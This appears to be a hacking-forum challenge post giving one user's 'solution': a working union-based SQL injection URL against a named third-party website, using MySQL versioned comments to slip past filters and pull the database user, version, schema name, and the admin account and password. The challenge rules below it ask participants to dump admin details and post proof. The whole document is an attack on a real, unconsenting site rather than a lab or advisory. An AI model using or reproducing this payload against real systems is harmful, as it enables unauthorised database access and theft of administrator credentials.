‎Atze Amnezia‎' solution

Solution:
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http://www.cinga.cn/en/duihan.php?id=-23' /*!50000Union*/ /*!50000Select*/ 1,2,/*!50000concat*/(0x44697075,0x3c62723e,'USER ::  ',user(),0x3c62723e,'version :: ', version(),0x3c62723e, 'database :: ',schema(),     0x3c62723e, 'admin: ',( /*!50000select*/ /*!50000concat*/(admin_account) from admin),0x3c62723e, 'password : ',( /*!50000select*/ /*!50000concat*/(admin_password) from admin)         ),4,5,6,7,8,9 -- -


Target
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http://www.cinga.cn/en/duihan.php?id=23
Rules & Tasks
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! Union Based Injection Only !
! Use Only 1 column !
! Don't change parameter !
! Print YOUR Name,version,USER AND database !
! Print Admin Details(Name && Pw[poste NOT the full hash !!!]) !
! Post Your Proof here && Pm me syntax !
! DO NOT HARM THE SITE !